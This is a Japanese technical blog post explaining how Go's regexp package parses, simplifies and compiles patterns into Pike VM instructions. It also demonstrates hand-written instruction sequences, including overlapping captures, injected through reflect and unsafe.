gocon26の発表が面白かったので、Golangの話をします。
Golangでは正規表現の実装が標準ライブラリで提供されていて、"regexp"パッケージをインポートすることで利用できる。
package main
import (
"fmt"
"regexp"
)
func main() {
re := regexp.MustCompile(`(ハ(ッピ|イパ)ープライ[スム]パラダイ[スム](ダイソー)?)+`)
fmt.Println(re.MatchString("ハッピープライムパラダイス"))
fmt.Println(re.MatchString("ハッピープライドパラダイス"))
}
コードの中で使っているregexp.MustCompileは中でcompile*1を呼んでいて、Parse,Simplify,Compileの3段階で正規表現をコンパイルしている。
これらのAPIは"regexp/syntax"パッケージが公開しているので、regexp.MustCompileを使わずに以下のように直接呼び出すこともできる。
各段階でどのような処理が行われるのか、またどのようなデータが出力されているのかを確認するため、各段階の結果を表示している。
package main
import (
"fmt"
"regexp/syntax"
"strings"
)
func main() {
re, err := syntax.Parse(`a{2,3}bc`, syntax.Perl)
if err != nil {
panic(err)
}
fmt.Println("==> Parse")
printTree(re, 0)
simple := re.Simplify()
fmt.Println("\n==> Simplify")
printTree(simple, 0)
prog, err := syntax.Compile(simple)
if err != nil {
panic(err)
}
fmt.Println("\n==> Compile")
fmt.Print(prog)
}
func printTree(re *syntax.Regexp, depth int) {
fmt.Printf("%s%v %s\n", strings.Repeat(" ", depth), re.Op, re)
for _, sub := range re.Sub {
printTree(sub, depth+1)
}
}
実行すると以下のように出力された。
==> Parse
Concat a{2,3}bc
Repeat a{2,3}
Literal a
Literal bc
==> Simplify
Concat aaa?bc
Concat aaa?
Literal a
Literal a
Quest a?
Literal a
Literal bc
==> Compile
0 fail
1* rune1 "a" -> 2
2 rune1 "a" -> 4
3 rune1 "a" -> 5
4 alt -> 3, 5
5 rune1 "b" -> 6
6 rune1 "c" -> 7
7 match
行われたことはおおよそ以下のとおりである。
- Parseは文字列をパースし、構文木を出力した
- Simplifyは構文木を簡略化し、構文木を出力した（どうでも良い話として、厳密にはaのノードの参照を複製しているので、木よりはDAGが正確かもしれない）
- Compileは構文木をコンパイルし、VMの命令列に出力した
Parseの説明はざっと読んだ感じよくある演算子順位構文解析法での実装に見えたので省略する。とはいえ|の共通部分を括り出すような簡略化*2もしていそうで、ちゃんと読んでみると面白いかもしれない。
Simplifyは主に以下の2つの簡略化を行う。
- 繰り返し回数の指定を展開する
- e.g.
x{0,} → x*, x{0,3} → (?:x(?:xx?)?)?
- 繰り返しを繰り返すものを畳む
筆者はそもそも(?:...)という記法を知らなかったのだが、これはキャプチャせずにグループ化するという意味らしい。
したがって2個目の簡略化は(a+)+→a+とはできなくて、これはどこをキャプチャするかの情報が消えてしまうためである。
(?:a+)+であればキャプチャされず単にグループ化の意味であるので、a+に簡略化できるということのようだ。
また1個目の簡略化は、コンパイル後のVMで回数を数えるための命令がないため、命令列にコンパイルしやすい形に変換しているようだ。
実際コンパイルする関数*3では繰り返しを指すOpRepeatが扱われておらず、簡略化後の構文木が与えられることを前提としている。
Compileは構文木をVMの命令列にコンパイルする。
どのような命令列が出力されるのか、まず例で示した命令列を以下に再掲する。
左端の番号は番地で、*は開始位置、さらに命令、次に実行する命令の番号が書かれている。
==> Compile
0 fail
1* rune1 "a" -> 2
2 rune1 "a" -> 4
3 rune1 "a" -> 5
4 alt -> 3, 5
5 rune1 "b" -> 6
6 rune1 "c" -> 7
7 match
1.から順に意味を追うと以下のような形になる。
- 番地1: 文字
aを読んで番地2へ
- 番地2: 文字
aを読んで番地4へ
- 番地3: 文字
aを読んで番地5へ
- 番地4: 番地3と番地5に分岐する
- 番地5: 文字
bを読んで番地6へ
- 番地6: 文字
cを読んで番地7へ
- 番地7: マッチ成功
これらの命令の定義に関して、Compile関数の定義を見ると*Prog型の値を返していて、
func Compile(re *Regexp) (*Prog, error) {
これは以下のように定義されている。
type Prog struct {
Inst []Inst
Start int
NumCap int
}
type Inst struct {
Op InstOp
Out uint32
Arg uint32
Rune []rune
}
InstOpは11個定義されていて、それぞれ以下の意味を持つ。
| 命令 |
意味 |
| rune1 "a" -> x |
文字aを1つ読んで番地xへ |
| rune "ab" -> x |
範囲内の文字を1つ読んで番地xへ（"ab"はa~b、"az"はa~z、のような表記） |
| any -> x |
任意の文字を1つ読んで番地xへ |
| anynotnl -> x |
改行以外の任意の文字を1つ読んで番地xへ |
| alt -> x, y |
番地xと番地yの両方から実行を進める |
| altmatch -> x, y |
altの特殊系 |
| cap n -> x |
現在位置をメモリnに保存して番地xへ |
| empty n -> x |
現在位置が条件nを満たしたら番地xへ |
| nop -> x |
何もせず番地xへ |
| match |
マッチ成功 |
| fail |
失敗 |
このような、命令列の途中で複数の実行先に分岐しうるVMを実行するためにPike VMと呼ばれる方式を使うことがあり、特に正規表現の実装ではよく用いられているようだ。
Pike VMでは複数の実行状態を並行して進める。例えばalt命令で実行先が分岐した場合に、一方をマッチ・失敗するまで実行してから他方を実行するのではなく、複数の番地を保持し、両方を1文字ずつ同時に進めていく。
この方式の利点として、同じ番地にいる状態を重複して実行しないことによって実行状態が常に命令数以下となり、これによって入力長に対して線形時間で停止することを保証できるらしい。
またGolangの実装では、実行できる命令列や入力に制約があるがPike VMより高速にマッチングできる実行エンジンが他に2つ（onepass, backtrack）実装されている。
これはfind関数*4で使い分けられており、以下のような分岐がある。
func (re *Regexp) find(r io.RuneReader, b []byte, s string, pos int, ncap int, dstCap []int) []int {
[...]
if re.onepass != nil {
return re.doOnePass(r, b, s, pos, ncap, dstCap)
}
if r == nil && len(b)+len(s) < re.maxBitStateLen {
return re.backtrack(b, s, pos, ncap, dstCap)
}
[...]
if !m.match(i, pos) {
re.put(m)
return nil
}
[...]
この辺りの話については https://swtch.com/~rsc/regexp/regexp2.html や https://swtch.com/~rsc/regexp/regexp3.html 、 https://burntsushi.net/regex-internals などが詳しい。
VMの命令列を手で書いてみる
ようやく本題に入れる。
ところでこのVMは一般には"regexp/syntax"パッケージのコンパイラが生成した命令列を実行することが想定されているが、黒魔術を使うことによって自分で命令列を記述することもできる。
以下はca+tのような文字列にマッチする命令列を手で書いて、実行するプログラムである。
注目すべきはprog1の定義で、Instに命令列を手で書いている部分がある。
package main
import (
"fmt"
"reflect"
"regexp"
"regexp/syntax"
"unsafe"
)
var prog1 = &syntax.Prog{
Start: 1,
NumCap: 2,
Inst: []syntax.Inst{
{Op: syntax.InstFail},
char('c', 2),
char('a', 3),
alt(2, 4),
char('t', 5),
{Op: syntax.InstMatch},
},
}
func main() {
fmt.Println("==> prog1")
fmt.Print(prog1)
fmt.Println()
re := regexp.MustCompile(``)
inject(re, prog1)
for _, s := range []string{"cat", "caaaaaaat", "ct"} {
fmt.Printf("%q → %v\n", s, re.MatchString(s))
}
}
func alt(x, y uint32) syntax.Inst {
return syntax.Inst{Op: syntax.InstAlt, Out: x, Arg: y}
}
func char(r rune, next uint32) syntax.Inst {
return syntax.Inst{Op: syntax.InstRune1, Rune: []rune{r}, Out: next}
}
func empty(op syntax.EmptyOp, next uint32) syntax.Inst {
return syntax.Inst{Op: syntax.InstEmptyWidth, Arg: uint32(op), Out: next}
}
func digit(next uint32) syntax.Inst {
return syntax.Inst{Op: syntax.InstRune, Rune: []rune{'0', '9'}, Out: next}
}
func capture(n, next uint32) syntax.Inst {
return syntax.Inst{Op: syntax.InstCapture, Arg: n, Out: next}
}
func inject(re *regexp.Regexp, p *syntax.Prog) {
set := func(name string, v any) {
f := reflect.ValueOf(re).Elem().FieldByName(name)
reflect.NewAt(f.Type(), unsafe.Pointer(f.UnsafeAddr())).Elem().Set(reflect.ValueOf(v))
}
set("prog", p)
set("maxBitStateLen", 256*1024/len(p.Inst))
set("numSubexp", p.NumCap/2-1)
set("matchcap", p.NumCap)
set("mpool", 4)
}
これを実行すると以下のような結果になった。
きちんと意図通りに動いている。
==> prog1
0 fail
1* rune1 "c" -> 2
2 rune1 "a" -> 3
3 alt -> 2, 4
4 rune1 "t" -> 5
5 match
"cat" → true
"caaaaaaat" → true
"ct" → false
また、コンパイラが生成しないような命令列を書いて実行することもできる。
例えばabcに対してGoにおける通常の正規表現で「aからb」と「bからc」のように一部が重複するようにキャプチャすることはできない。これを書こうとすると(YYYY-{MM)-DD}（わかりやすさのため、「bからc」のキャプチャの範囲を()ではなく{}で表記）となり、カッコの対応が取れなくなるためである。
一方VMの世界では、キャプチャで使われるcap命令は現在位置を記録するだけのシンプルな命令なので、これを活用して一部が重複するキャプチャを書くことができる。
以下はYYYY-MM-DDのような文字列にマッチし、YYYY-MMとMM-DDをキャプチャする命令列を実行する例である。
var prog2 = &syntax.Prog{
Start: 1,
NumCap: 6,
Inst: []syntax.Inst{
{Op: syntax.InstFail},
capture(2, 2),
digit(3),
digit(4),
digit(5),
digit(6),
char('-', 7),
capture(4, 8),
digit(9),
digit(10),
capture(3, 11),
char('-', 12),
digit(13),
digit(14),
capture(5, 15),
{Op: syntax.InstMatch},
},
}
func main() {
fmt.Println("==> prog2")
fmt.Print(prog2)
fmt.Println()
re := regexp.MustCompile(``)
inject(re, prog2)
for _, s := range []string{"2026-09-12", "2026-12-09", "20260912"} {
fmt.Printf("%q → %q\n", s, re.FindStringSubmatch(s))
}
}
これを実行すると以下のようになった。"2026-09-12"という文字列から、"2026-09"と"09-12"のように"09"の部分が重複しているが、ちゃんと両方ともキャプチャできていることがわかる。
==> prog2
0 fail
1* cap 2 -> 2
2 rune "09" -> 3
3 rune "09" -> 4
4 rune "09" -> 5
5 rune "09" -> 6
6 rune1 "-" -> 7
7 cap 4 -> 8
8 rune "09" -> 9
9 rune "09" -> 10
10 cap 3 -> 11
11 rune1 "-" -> 12
12 rune "09" -> 13
13 rune "09" -> 14
14 cap 5 -> 15
15 match
"2026-09-12" → ["2026-09-12" "2026-09" "09-12"]
"2026-12-09" → ["2026-12-09" "2026-12" "12-09"]
"20260912" → []
本記事では命令列を自分で記述してそれを実行する方法を扱ったが、命令列の解析という観点では以前にCTFのreversing問題のテーマになったこともある。
以下は命令列が与えられるので、それを解析して、マッチする文字列を探してくださいという問題である。
https://github.com/tsg-ut/tsgctf2023/tree/main/rev/Conduit
面白かったので暇だったら解いてみると楽しい。
